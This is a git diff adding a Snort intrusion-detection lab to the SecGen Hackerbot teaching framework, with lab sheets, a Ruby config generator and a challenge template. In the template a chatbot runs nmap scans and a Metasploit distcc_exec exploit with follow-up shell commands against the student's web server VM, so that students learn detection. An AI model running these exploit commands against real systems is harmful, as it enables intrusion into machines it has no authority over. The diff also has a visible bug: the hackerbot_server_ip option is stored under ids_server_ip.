scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; stat1=$?; curl <%= $web_server_ip %> >/dev/null; curl <%= $web_server_ip %>/contact.html >/dev/null; stat2=$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; stat3=$?; echo --$stat1$stat2$stat3; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 + false + + + Create a Snort rule that detects access to http://<%= $web_server_ip %> but NOT http://<%= $web_server_ip %>/contact.html. The alert must include the message "<%= $rand_alert5 %>". + + + ^--1 + :( Failed to scp to your system. + + + ^--01 + :( Failed to test your system. + + + ^--[01][01]1 + :( Failed to scp to your system (the second time). + + + ^--00.*<%= $rand_alert5 %>.*<%= $rand_alert5 %> + :( Almost, but your rule triggered too many times. Are you inspecting the content of the connection? + + + + ^--00.*<%= $rand_alert5 %> + :) Well done! <%= $flags.pop %>. + + + + :( Your rule didn't get triggered (or didn't include the right message). + + diff --git a/modules/generators/structured_content/hackerbot_config/ids/ids.pp b/modules/generators/structured_content/hackerbot_config/ids/ids.pp new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/ids/manifests/.no_puppet b/modules/generators/structured_content/hackerbot_config/ids/manifests/.no_puppet new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/ids/secgen_local/local.rb b/modules/generators/structured_content/hackerbot_config/ids/secgen_local/local.rb new file mode 100644 index 000000000..13b90d2fd --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids/secgen_local/local.rb @@ -0,0 +1,45 @@ +#!/usr/bin/ruby +require_relative '../../../../../../lib/objects/local_hackerbot_config_generator.rb' + +class IDS < HackerbotConfigGenerator + + attr_accessor :web_server_ip + attr_accessor :ids_server_ip + attr_accessor :hackerbot_server_ip + + def initialize + super + self.module_name = 'Hackerbot Config Generator IDS' + self.title = 'IDS' + + self.local_dir = File.expand_path('../../',__FILE__) + self.templates_path = "#{self.local_dir}/templates/" + self.config_template_path = "#{self.local_dir}/templates/lab.xml.erb" + self.html_template_path = "#{self.local_dir}/templates/labsheet.html.erb" + + self.web_server_ip = [] + self.ids_server_ip = [] + self.hackerbot_server_ip = [] + end + + def get_options_array + super + [['--web_server_ip', GetoptLong::REQUIRED_ARGUMENT], + ['--ids_server_ip', GetoptLong::REQUIRED_ARGUMENT], + ['--hackerbot_server_ip', GetoptLong::REQUIRED_ARGUMENT]] + end + + def process_options(opt, arg) + super + case opt + when '--web_server_ip' + self.web_server_ip << arg; + when '--ids_server_ip' + self.ids_server_ip << arg; + when '--hackerbot_server_ip' + self.ids_server_ip << arg; + end + end + +end + +IDS.new.run \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/ids/secgen_metadata.xml b/modules/generators/structured_content/hackerbot_config/ids/secgen_metadata.xml new file mode 100644 index 000000000..4b41ffd58 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids/secgen_metadata.xml @@ -0,0 +1,48 @@ + + + + Hackerbot config for a IDS lab + Z. Cliffe Schreuders + GPLv3 + Generates a config file for a hackerbot for a backups lab. + Topics covered: . + + hackerbot_config + linux + + accounts + flags + root_password + web_server_ip + ids_server_ip + hackerbot_server_ip + + + + + + + vagrant + + + + + + + + + + + + + + + + puppet + + + hackerbot + + \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/ids/shared/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/ids/shared/labsheet.html.erb new file mode 100644 index 000000000..72dab611a --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids/shared/labsheet.html.erb @@ -0,0 +1,29 @@ + + + <%= self.title %> + + + + + +
+ + <%= self.html_rendered %> + +
+ + + diff --git a/modules/generators/structured_content/hackerbot_config/ids/shared/license.md.erb b/modules/generators/structured_content/hackerbot_config/ids/shared/license.md.erb new file mode 100644 index 000000000..8e89ace31 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids/shared/license.md.erb @@ -0,0 +1,4 @@ +## License +This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + +Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version. diff --git a/modules/generators/structured_content/hackerbot_config/ids/templates/IDS.md b/modules/generators/structured_content/hackerbot_config/ids/templates/IDS.md new file mode 100644 index 000000000..1e9b7caab --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids/templates/IDS.md @@ -0,0 +1,432 @@ +# Intrusion Detection and Prevention Systems: Configuration and Monitoring using Snort + +## Getting started +### VMs in this lab + +==Start these VMs== (if you haven't already): + +- hackerbot_server (leave it running, you don't log into this) +- ids_server (IP address: <%= $ids_server_ip %>) +- web_server (IP address: <%= $web_server_ip %>) +- desktop + +All of these VMs need to be running to complete the lab. + +**Ensure VMs allow promiscuous mode** +If you are completing this lab on Leeds Beckett oVirt infrastructure, this should be sorted. Otherwise, if you have used SecGen to spin up VMs, you need to ensure your VMs have permission to monitor networks by using promiscuous mode. + +### Your login details for the "desktop" and "ids_server" VMs +User: <%= $main_user %> +Password: tiaspbiqe2r (**t**his **i**s **a** **s**ecure **p**assword **b**ut **i**s **q**uite **e**asy **2** **r**emember) + +You won't login to the hackerbot_server, but the VM needs to be running to complete the lab. + +You don't need to login to the backup_server or web_server, but you will connect to them via SSH and http later in the lab. + +### For marks in the module +1. **You need to submit flags**. Note that the flags and the challenges in your VMs are different to other's in the class. Flags will be revealed to you as you complete challenges throughout the module. Flags look like this: ==flag{*somethingrandom*}==. Follow the link on the module page to submit your flags. +2. **You need to document the work and your solutions in a workbook**. This needs to include screenshots (including the flags) of how you solved each Hackerbot challenge and a writeup describing your solution to each challenge, and answering any "Workbook Questions". The workbook will be submitted later in the semester. + +## Hackerbot! +![small-right](images/skullandusb.svg) + +This exercise involves interacting with Hackerbot, a chatbot who will task you to monitor the network and will attack your system. If you satisfy Hackerbot by completing the challenges, she will reveal flags to you. + +Work through the below exercises, completing the Hackerbot challenges as noted. + +--- +## Network monitoring basics +It is important for an organisation to monitor their network for detecting unwanted behaviour, such as malicious attacks or organisational resources being misused. + +### Tcpdump + +This section gives a quick overview of the basics of network monitoring, using tools such as Tcpdump. Keep in mind that these are important foundations, and we will quickly build on these. + +**From your desktop VM**, ==SSH into the ids_server==. **Leave this console open in a separate tab** (Shift-Ctrl-T): + +```bash +ssh <%= $main_user %>@<%= $ids_server_ip %> + +sudo -i +``` + +**From this ssh session:** To view live network traffic, ==start tcpdump on the ids_server via ssh:== + +```bash +tcpdump +``` +> Tip: If running tcpdump generates the error "packet printing is not supported for link type USB\_Linux: use -w", then append "-i *eth0*" to each tcpdump command. (Where eth0 is the name of the interface as reported by ifconfig). + +With tcpdump still running via ssh, **from the desktop VM** ==perform a ping to the ids_server VM.== + +```bash +ping <%= $ids_server_ip %> +``` +> Run the above from the desktop VM (not from the tab SSHed to the ids_server). + +> Note that tcpdump displays the network activity taking place, including the pings, and various TCP connections and ARP requests. Depending on your environment you might be seeing the traffic between various VMs. + +The IDS server has a network card interface that can enter promiscuous mode, meaning that it can view traffic destined to other systems on the network. (Not just the traffic destined for the ids_server, as would normally be the case.) + +Test this, **from the desktop** ==ping the web_server==: + +```bash +ping <%= $web_server_ip %> +``` +> If your network is configured correctly, from the Tcpdump running on the ids_server you should see the pings between these separate VMs (the desktop, and the web_server). Take the time to confirm that this is working. + +Once you have seen tcpdump in action displaying these packets ==press Ctrl-C to exit.== + +Tcpdump can format the output in various ways, showing various levels of detail. + +**From the ids_server SSH session** tab, ==run:== + +```bash +tcpdump -q +``` +> This shows a less verbose version of the output. + +**From the desktop** ==Ping the web_server VM again and observe the tcpdump output in the ssh session.== + +```bash +tcpdump -A +``` +> Shows the packet content without the information about the source and destination. + +When you ==access a web page in a browser on the desktop VM== (go ahead... ==reload this labsheet== webpage), Tcpdump will display the content, so long as the traffic is not SSL encrypted (for example, so long as the URL doesn't start with http**s**://). + +==Ping the web_server again== and observe the output. + +Stop tcpdump (Ctrl-C) on the ids_server VM once you have observed the output. + +==Run the following== command **on the ids_server** SSH session: + +```bash +tcpdump -v +``` +> The above is even more verbose, showing lots of detail about the network traffic. + +Now try the ==port scan again==. Note the very detailed output. + +It is possible to write tcpdump network traffic to storage, so that it can be analysed later: +```bash +tcpdump -w /tmp/tcpdump-output +``` + +While that is running, ==access a web page from Firefox on the desktop VM== browse to: +> ==<%= $web_server_ip %>== + +Then ==close tcpdump== (Ctrl-C). + +To view the file containing the tcpdump output on the Kali VM type: + +```bash +less /tmp/tcpdump-output +``` +> (Press "y" to see the output if you are warned that it may be a binary file) + +> You should be able to PageUp and PageDown through the file. + +> Press "Q" to quit when ready + +Run `man tcpdump` and read about the many options for output and filtering. + +### Tcpdump filtering + +We can also use tcpdump to do some simple monitoring of the network traffic to detect certain key words. + +**On the ids_server** ssh session, ==run:== + +```bash +tcpdump -A | grep "GET" +``` +> Tip: if you are using a UK keyboard and the VM configured for US, the "|" symbol is located where "\~" is. + +Open a web browser **on the desktop VM**, and visit [*http://<%= $web_server_ip %>*](http://<%= $web_server_ip %>), note that tcpdump captures *most* network content, and grep can be used to filter it down to lines that are interesting to us. + +Note that making sense of this information using tcpdump and/or Wireshark is possible (and is a common sys-admin task), but the output is too noisy to be constantly and effectively monitored by a human to detect security incidents. Therefore we can use an IDS such as Snort to monitor and analyse the network traffic to detect activity that it is configured to alert. + +Make sure tcpdump is stopped (Ctrl-C). + +## IDS monitoring basics + +Continuing **on the ids_server VM** ssh session: + +==Make a backup== of the snort’s configuration file in case anything goes wrong: + +```bash +cp /etc/snort/snort.conf /etc/snort/snort.conf.bak +``` + +==Change Snort’s output== to something more readable: + +```bash +vi /etc/snort/snort.conf +``` +> (Remember: editing using vi involves pressing "i" to insert/edit text, then *Esc*, + +> ":wq" to write changes and quit) + +==Comment out== the line starting with "`output` …" +> (Put a \# in front of it) + +==Add the following line:== +`output alert_fast` +> **Help with find in vi:** the find command in vi is the / character (forward slash) . When **NOT in insert mode** (pressing Esc will get you out of insert mode if you need to), to find "output" you could enter / output \[+ PRESS ENTER\] Then press the n character to find the next output and the next and the next and the next etc. +> +> If there is still no alert file in /var/log/snort/, you may need to edit /etc/snort/snort.debian.conf, to use the correct interface (for example, eth1 if the output of "ifconfig" does not contain "eth0"). + +==Start Snort:== + +```bash +systemctl start snort +``` + +Snort should now be running, monitoring network traffic for activity. + +==Do an nmap port scan of the ids_server== VM (from the desktop VM): + +```bash +nmap <%= $ids_server_ip %> +``` + +This should trigger an alert from Snort, which is stored in an alerts log file. + +"Follow" the Snort alert log file by running: + +```bash +tail -f /var/log/snort/alert +``` +>The tail program will wait for new alerts to be written to the file, and will display them as they are logged. + +==LogBook question: Does the log match what happened? Are there any false positives (alerts that describe things that did not actually happen)?== + +==Do an nmap port scan of the web_server== VM (from the desktop VM): + +```bash +nmap <%= $web_server_ip %> +``` + +This should trigger another alert. + +Press Ctrl-C to ==stop the alert tail process==, if it did not do so automatically. + +The Snort configuration file can be configured to output, a "tcpdump" formatted network capture. + +Open the snort.conf file in vi: + +```bash +vi /etc/snort/snort.conf +``` +> (Remember: editing using vi involves pressing "i" to insert/edit text, then *Esc*, ":wq" to write changes and quit) + +Add the following line and then save the changes (or uncomment by removing the \#): + +`output log_tcpdump: tcpdump.log` + +Restart Snort: + +```bash +systemctl restart snort +``` + +Try another type of port scan, such as an ==Xmas Tree scan from the desktop== VM (Hint: `man nmap`). + +Then run the following command to ==view the contents of the log:== + +```bash +tcpdump -r /var/log/snort/tcpdump.log.* +``` + +You can use tcpdump’s various flags to change the way it is displayed, or you could even open the logged network activity in Wireshark. + +##Configuring Snort + +**On the ids_server** ssh session, ==edit /etc/snort/snort.conf==; for example: + +```bash +vi /etc/snort/snort.conf +``` +> (Remember: editing using vi involves pressing "i" to insert/edit text, then *Esc*, ":wq" to write changes and quit) + +Scroll through the config file and, take notice of these details: + +- In a production environment you would configure Snort to to correctly identify which traffic is considered LAN traffic, and which IP addresses are known to run various servers (this is also configured in snort.debian.conf). In this case, we will leave these settings as is. + +- Note the line "`var RULE_PATH /etc/snort/rules`": this is where the IDS signatures are stored. + +- Note the presence of a Back Orifice detector preprocessor "bo". Back Orifice was a Windows Trojan horse that was popular in the 90s. + +- We have already seen the "sfportscan" preprocessor in practice, detecting various kinds of port scans. + +- The "arpspoof" preprocessor is described as experimental, and is not enabled by default. + +- Towards the end of the config file are "include" lines, which specify which of the rule files in RULE\_PATH are in effect. As is common, lines beginning with "\#" are ignored, which is used to list disabled rule files. There are rule files for detecting known exploits, attacks against services such as DNS and FTP, denial of service (DoS) attacks, and so on. + +Add the following line below the other include rules (at the end of the file): + +`include $RULE_PATH/my.rules` + +Save your changes to snort.conf +> (For example, in vi, press Esc, then type ":wq"). + +> Hint: you may find it easier to use Esc, then type ":w" to write your changes to disk and then type ":q" to exit (or "x" shorthand for "wq"). + +Run this command, to ==create your new rule file:== + +```bash +touch /etc/snort/rules/my.rules +``` + +==Edit the file.== For example: + +```bash +vi /etc/snort/rules/my.rules +``` + +==Add this line (*with your own name*), and save your changes:== + +`alert icmp any any ->any any (msg: "*Your-name*: ICMP Packet found"; sid:1000000; rev:1;)` + +> For example, `alert icmp any any -> any any (msg: "**Cliffe**: ICMP Packet found"; sid:1000000; rev:1;)` + +Now that you have new rules, tell Snort to ==reload its configuration:== + +```bash +systemctl restart snort +``` +> If after attempting a reload, Snort fails to start, then you have probably made a configuration mistake, so check the log for details by running: `tail /var/log/syslog` + +Due to the new rule you have just applied, sending a simple ICMP Ping (typically used to troubleshoot connectivity) will trigger a Snort alert. + +Try it, **from the desktop** VM, ==ping the web_server:== + +```bash +ping <%= $web_server_ip %> +``` + +Check for the Snort alert. You should see that the ping was detected, and our new message was added to the alerts log file. + +## Writing your own Snort rules + +Snort is predominantly designed as a signature-based IDS. Snort monitors the network for matches to rules that indicate activity that should trigger an alert. You have now seen Snort detect a few types of activity, and have added a rule to detect ICMP packets. Next you will apply more complicated rules, and create your own. + +In addition to the lecture slides, you may find this resource helpful to complete these tasks: + +> Martin Roesch (n.d.) **Chapter 2:** Writing Snort Rules - How to Write Snort Rules and Keep Your Sanity. In: *Snort Users Manual*. Available from: <[*http://www.snort.org.br/documentacao/SnortUsersManual.pdf*](http://www.snort.org.br/documentacao/SnortUsersManual.pdf)> + +In general, rules are defined on one line (although, they can break over lines by using `\`), and take the form of: + +**header (body)** + +where header = "**action** (log,alert) **protocol** (ip,tcp,udp,icmp,any) **source_IP** **source_port** **direction** (->,<>) **destination_IP** **destination_port**" + +> for example: `alert tcp any any -> any any` to make an alert for all TCP traffic, or `alert tcp any any -> 192.168.0.1 23` to make an alert for connections to telnet on the given IP address + +and body = "**option; option: "parameter"; ...**" + +The most common options are: + +> `msg: "message to display"` + +and, to search the packet’s content: + +> `content: "some text to search for"` + +To set the type of alert: + +> `classtype:misc-attack` +> +> (where *misc-attack* is defined in `/etc/snort/classification.conf`) + +To give a unique identifier and revision version number: + +> `sid:1000001; rev:1` + +So for example the body could be: + +> `msg: "user login attempt"; content: "user"; classtype:attempted-user; sid:1000001; rev:1;` + +And bringing all this together a Snort rule could read: + +> `alert tcp any any -> 192.168.0.1 110 (msg: "Email login attempt"; content: "user"; classtype:attempted-user; sid:1000001; rev:1;)` + +This rule looks at packets destined for 192.168.0.1 on the pop3 Email port (110), and sends an alert if the content contains the "user" command (which is used to log on to check email). Note that this rule is imperfect as it is, since it is case sensitive. + +There are lots more options that can make rules more precise and efficient. For example, making them case insensitive, or starting to search content after an offset. Feel free to do some reading, to help you to create better IDS rules. + +==Figure out how the rule could be improved to be case insensitive.== + +==Browse the existing rules in `/etc/snort/rules` and figure out how at least two of them work.== + +Lets create a basic rule that detects any web traffic on port 80. + +```bash +echo "alert tcp any any -> any 80 (msg: "Web traffic detected - RANDOM"; sid:1000002; rev:1;)" >> /etc/snort/rules/my.rules + +systemctl restart snort +``` +Browse to a website, and confirm the rule worked to generate an alert containing RANDOM. + +# TODO RANDOM +# HACKERBOT ATTACKS +(Move up above) +I'm about to attack your system, use Snort to detect the method of attack. +??? quiz??? +Random IP address? LPORT? + +--- +Add a rule to detect any attempt to connect to a Telnet server, the output message must include "- RANDOM". Connections to a Telnet server could be a security issue, since logging into a networked computer using Telnet is known to be insecure because traffic is not encrypted. Don't forget to reload Snort! + + + + + +Once you have saved your rule and reloaded Snort, test this rule by using Telnet. Rather than starting an actual Telnet server (unless you want to do so), you can simulate this by using Netcat to listen on the Telnet port, then connect with Telnet from the desktop VM. + +On a terminal on the Kali Linux VM: + +```bash +netcat -l -p 23 +``` + +Leaving that running, and on a terminal on the openSUSE VM: + + +```bash +telnet localhost +``` +Type "hello" + + + +##TODO +Create a rule that only triggers on loading the Webserver's homepage (http://<%= $web_server_ip %>). Don't forget to reload Snort. + +--- + +Create a rule that triggers on the + +##TODO +Create a Snort rule that detects visits to the Leeds Beckett website from the Kali VM, but does not get triggered by general web browsing. + +Hints: +> Look at some of the existing Snort rules for detecting Web sites, such as those in /etc/snort/rules/community-inappropriate.rules + +> In the IMS labs or when using oVirt, you are likely using the proxy to access the web, so you will need to approach your rules a little differently, you may find you need to change the port you are listening to. Look at the output of tcpdump -A when you access a web page, what does the traffic contain that may point to what is being accessed? Have a look through the output of tcpdump for the text "Host". + +As before, include your name in the alert message. + +##TODO + +Setup Snort as an intrusion *prevention* system (IPS): on the Kali VM so that it can actually deny traffic, and demonstrate with a rule. You may wish to extend the Leeds Beckett website rule, so that all attempts to access the website are denied by Snort. + + +# write a rule that detects +"Top secret" +Randomly specified content +Randomly generated content (requires network monitoring) +attacks +random port number (by service name?) + + diff --git a/modules/generators/structured_content/hackerbot_config/ids/templates/intro.md.erb b/modules/generators/structured_content/hackerbot_config/ids/templates/intro.md.erb new file mode 100644 index 000000000..f2ad0cbc6 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids/templates/intro.md.erb @@ -0,0 +1,38 @@ +# Intrusion Detection and Prevention Systems: Configuration and Monitoring using Snort + +## Getting started +### VMs in this lab + +==Start these VMs== (if you haven't already): + +- hackerbot_server (leave it running, you don't log into this) +- ids_server (IP address: <%= $ids_server_ip %>) +- web_server (IP address: <%= $web_server_ip %>) +- desktop + +All of these VMs need to be running to complete the lab. + +**Ensure the ids_server VM is allowed promiscuous mode.** If you are completing this lab on Leeds Beckett oVirt infrastructure, this should be sorted. Otherwise, if you have used SecGen to spin up VMs, you need to ensure your VMs have permission to monitor networks using promiscuous mode. On the Leeds Beckett oVirt infrastructure we have snoop networks, which mirror all the traffic between systems. On Virtualbox, you would need to go to Advanced network settings for the host-only network on the ids_server and enable promiscious mode. + +### Your login details for the "desktop" and "ids_server" VMs +User: <%= $main_user %> +Password: tiaspbiqe2r (**t**his **i**s **a** **s**ecure **p**assword **b**ut **i**s **q**uite **e**asy **2** **r**emember) + +You won't login to the hackerbot_server or web_server, but all the VMs need to be running to complete the lab. + +### For marks in the module +1. **You need to submit flags**. Note that the flags and the challenges in your VMs are different to other's in the class. Flags will be revealed to you as you complete challenges throughout the module. Flags look like this: ==flag{*somethingrandom*}==. Follow the link on the module page to submit your flags. +2. **You need to document the work and your solutions in a workbook**. This needs to include screenshots (including the flags) of how you solved each Hackerbot challenge and a writeup describing your solution to each challenge, and answering any "Workbook Questions". The workbook will be submitted later in the semester. + +## Hackerbot! +![small-right](images/skullandusb.svg) + +This exercise involves interacting with Hackerbot, a chatbot who will task you to monitor the network and will attack your systems. If you satisfy Hackerbot by completing the challenges, she will reveal flags to you. + +Work through the below exercises, completing the Hackerbot challenges as noted. + +--- +## Network monitoring basics +It is important for an organisation to monitor their network for detecting unwanted behaviour, such as malicious attacks or organisational resources being misused. + +Please take care to observe the instructions on which VM each command should be run from. (*There is quite a bit of switching between VMs in this lab.*) diff --git a/modules/generators/structured_content/hackerbot_config/ids/templates/lab.xml.erb b/modules/generators/structured_content/hackerbot_config/ids/templates/lab.xml.erb new file mode 100644 index 000000000..d0ccc0f1a --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids/templates/lab.xml.erb @@ -0,0 +1,308 @@ +<% + require 'json' + require 'securerandom' + require 'digest/sha1' + require 'fileutils' + require 'erb' + + if self.accounts.empty? + abort('Sorry, you need to provide an account') + end + + $first_account = JSON.parse(self.accounts.first) + $second_account = JSON.parse(self.accounts[1]) + + $files = [] + $log_files = [] + if $second_account.key?("leaked_filenames") && $second_account['leaked_filenames'].size > 0 + $files = $second_account['leaked_filenames'] + $log_files = $second_account['leaked_filenames'].grep(/log/) + end + + if $files.empty? + $files = ['myfile', 'afile', 'filee', 'thefile'] + end + if $log_files.empty? + $log_files = ['log', 'thelog', 'logs', 'frogonalog'] + end + + $main_user = $first_account['username'].to_s + $main_password = $first_account['password'].to_s + $second_user = $second_account['username'].to_s + $example_file = "/home/#{$second_user}/#{$files.sample}" + $example_dir = "/home/#{$second_user}/personal_secrets/" + + $web_server_ip = self.web_server_ip.first + $ids_server_ip = self.ids_server_ip.first + $hackerbot_server_ip = self.hackerbot_server_ip.first + $root_password = self.root_password + $flags = self.flags + + REQUIRED_FLAGS = 10 + while $flags.length < REQUIRED_FLAGS + $flags << "flag{#{SecureRandom.hex}}" + Print.err "Warning: Not enough flags provided to hackerbot_config generator, some flags won't be tracked/marked!" + end + + def get_binding + binding + end +%> + + + + + + Hackerbot + + config/AIML + + + + false + + + Your web server is going to be attacked. I have inside information that will help you to monitor your network for the attacks. If you work with me I'll provide you with some flags. + + + When you are ready, simply say 'ready'. + 'Ready'? + Ok, I'll do what I can to move things along... + Moving things along to the next one... + Ok, I'll do what I can to back things up... + Ok, backing up. + Ok, skipping it along. + Let me see what I can do to goto that attack. + That was the last one for now. You can rest easy, until next time... (End.) + That was the last one. Game over? + You are back to the beginning! + This is where it all began. + Doing my thing... + Here we go... + ... + .... + Let me know when you are 'ready', if you want to move on say 'next', or 'previous' and I'll move things along. + Say 'ready', 'next', or 'previous'. + + + I am waiting for you to say 'ready', 'next', 'previous', 'list', 'goto *X*', or 'answer *X*' + Say "The answer is *X*". + There is no question to answer + Correct + Incorrect + That's not possible. + Wouldn't you like to know. + + + Oh no. Failed to get shell... You need to let us in. + + + + IDS + <%= ERB.new(File.read self.templates_path + 'intro.md.erb').result(self.get_binding) %> +
+<%= File.read self.templates_path + 'resources.md.erb' %> + +<%= File.read self.templates_path + 'license.md.erb' %> + +Randomised instance generated by [SecGen](http://github.com/cliffe/SecGen) (<%= Time.new.to_s %>) +
+ + true + +
+ + +<% $rand1 = SecureRandom.hex(2)-%> + curl -v -H 'Something-worth-noting: <%= $rand1 %>:<%= $flags.pop %>' <%= $web_server_ip %> > /dev/null; echo $? + false + + + #1 Monitor the network traffic using Tcpdump or Wireshark, and look out for a string starting with "<%= $rand1 %>". + + + 0 + Hope you found the flag! Moving on... + true + + + 1 + :( Failed to talk to the web server (<%= $web_server_ip %>) + + + Ok, next up... + + + <%= ERB.new(File.read self.templates_path + 'tcpdump.md.erb').result(self.get_binding) %> + + + +<% $rand_port = rand(65535)-%> + nmap -p <%= $rand_port %> <%= $web_server_ip %> > /dev/null; echo $? + false + + + #2 Monitor the network traffic, and look out for attempts to scan your webserver (<%= $web_server_ip %>). You need to identify what port the connection attempt is to. + + + 0 + Hope you found the port number. + + + + 1 + :( Failed to scan the web server (<%= $web_server_ip %>) + + + + + + + Now after the attack, what port number was scanned? + ^<%= $rand_port %>$ + :) <%= $flags.pop %> + + + + + + + + nmap <%= $web_server_ip %> > /dev/null; echo $? + false + + + #3 Your webserver is about to be scanned/attacked. Make sure you are using Snort to monitor your network... + + + 0 + Hope you caught with Snort. + + + + 1 + :( Failed to scan the web server (<%= $web_server_ip %>) + + + Ok... + + + + Was that a scan or an attack? + ^scan$ + :) <%= $flags.pop %> + + + + <%= ERB.new(File.read self.templates_path + 'snort.md.erb').result(self.get_binding) %> + + + + msfconsole -x "use exploit/unix/misc/distcc_exec; set RHOST <%= $web_server_ip %>; exploit" + whoami >> out;id >> out;touch hackerbotwashere; echo $? + + #4 Your webserver is about to be scanned/attacked. Make sure you are using Snort to monitor your network... This make take a while (a few minutes) please be patient. + + + 0 + Hope you caught that. + + + + 1 + :( Failed to contact the web server (<%= $web_server_ip %>) + + + :( Something was not right... + + + + What vulnerable software was exploited? + distcc + :) <%= $flags.pop %> + + + + + + nmap -sX <%= $web_server_ip %> > /dev/null; echo $? + false + + + #5 Your webserver is about to be scanned/attacked. Make sure you are using Snort to monitor your network... + + + 0 + Hope you caught that. + + + + 1 + :( Failed to scan the web server (<%= $web_server_ip %>) + + + Ok... + + + + What kind of scan was that? + ^Xmas$ + :) <%= $flags.pop %> + + + + + + + msfconsole -x "use exploit/unix/misc/distcc_exec; set RHOST <%= $web_server_ip %>; exploit" + whoami > /dev/null; echo "<%= $flags.pop %>" > /dev/null; echo 'Find the flag! (in the network traffic)' + + #6 Your webserver is about to be scanned/attacked. Use Tcpdump and/or Wireshark to view the behaviour of the attacker. There is a flag to be found over the wire. + + + 0 + Hope you caught that. + + + + 1 + :( Failed to contact the web server (<%= $web_server_ip %>) + + + :( Something was not right... + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
diff --git a/modules/generators/structured_content/hackerbot_config/ids/templates/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/ids/templates/labsheet.html.erb new file mode 100644 index 000000000..3166f3520 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids/templates/labsheet.html.erb @@ -0,0 +1,121 @@ + + + <%= self.title %> + + + + + +
+ <%= self.html_TOC_rendered %> +
+ +
+ <%= self.html_rendered %> +
+ + + diff --git a/modules/generators/structured_content/hackerbot_config/ids/templates/license.md.erb b/modules/generators/structured_content/hackerbot_config/ids/templates/license.md.erb new file mode 100644 index 000000000..c11478e8e --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids/templates/license.md.erb @@ -0,0 +1,6 @@ +## License +This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + +Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version. + +![small](images/leedsbeckett-logo.png) diff --git a/modules/generators/structured_content/hackerbot_config/ids/templates/resources.md.erb b/modules/generators/structured_content/hackerbot_config/ids/templates/resources.md.erb new file mode 100644 index 000000000..df3e1a25f --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids/templates/resources.md.erb @@ -0,0 +1,3 @@ +## Resources + +Martin Roesch (n.d.) **Chapter 2:** Writing Snort Rules - How to Write Snort Rules and Keep Your Sanity. In: *Snort Users Manual*. Available from: <[*http://www.snort.org.br/documentacao/SnortUsersManual.pdf*](http://www.snort.org.br/documentacao/SnortUsersManual.pdf)> \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/ids/templates/snort.md.erb b/modules/generators/structured_content/hackerbot_config/ids/templates/snort.md.erb new file mode 100644 index 000000000..e7eb9e071 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/ids/templates/snort.md.erb @@ -0,0 +1,144 @@ +## Intrusion detection system (IDS) monitoring basics + +Continuing **on the ids_server VM:** + +==Make a backup== of the snort's configuration file in case anything goes wrong: + +```bash +sudo cp /etc/snort/snort.conf /etc/snort/snort.conf.bak +``` + +==Change Snort's output== to something more readable: + +```bash +sudo vi /etc/snort/snort.conf +``` +> (Remember: editing using vi involves pressing "i" to insert/edit text, then *Esc*, + +> ":wq" to write changes and quit) + +==Add the following line:== +`output alert_fast` + +==Change Snort's interface== to eth1 (or as you identified earlier), and set the local network to your IP address range (or "any"): + +```bash +sudo vi /etc/snort/snort.debian.conf +``` +> Set the interface and HOME network range, and exit vi (Esc, ":wq"). + +==Start Snort:== + +```bash +sudo service snort stop +sudo service snort start +``` +> Using "reload" or "restart" may not update the interface. + +Snort should now be running, monitoring network traffic for activity. + +==Have a chat with Hackerbot== (**from the desktop VM**). + +This should trigger an alert from Snort, which is stored in an alerts log file. + +**From the ids_server**, ==follow the Snort alert log== file by running (you may like to do this from a new tab): + +```bash +sudo tail -f /var/log/snort/alert +``` +>The tail program will wait for new alerts to be written to the file, and will display them as they are logged. (Ctrl-C to exit) + +==Do an nmap port scan of the web_server== VM (from the desktop VM): + +```bash +nmap <%= $web_server_ip %> +``` + +This should trigger another alert. + +==LogBook question: Does the log match what happened? Are there any false positives (alerts that describe things that did not actually happen)?== + +Try another type of port scan, such as an ==Xmas Tree scan from the desktop== VM (Hint: `man nmap`). + +Press Ctrl-C to ==stop the alert tail process==, if it did not do so automatically. + +The Snort configuration file is also configured to output a "tcpdump" formatted network capture. (`output log_tcpdump: tcpdump.log`) + +Then run the following command to ==view the contents of the log:== + +```bash +sudo ls /var/log/snort/ +sudo tcpdump -r /var/log/snort/tcpdump.log.XXXXX +``` +> Where XXXXX is one of the logs shown from the first command. + +You can use tcpdump's various flags to change the way it is displayed, or you could even open the logged network activity in Wireshark. + +##Configuring Snort + +**On the ids_server**, ==edit /etc/snort/snort.conf==; for example: + +```bash +vi /etc/snort/snort.conf +``` +> (Remember: editing using vi involves pressing "i" to insert/edit text, then *Esc*, ":wq" to write changes and quit) + +Scroll through the config file and, take notice of these details: + +- In a production environment you would configure Snort to to correctly identify which traffic is considered LAN traffic, and which IP addresses are known to run various servers (this is also configured in snort.debian.conf). In this case, we will leave these settings as is. + +- 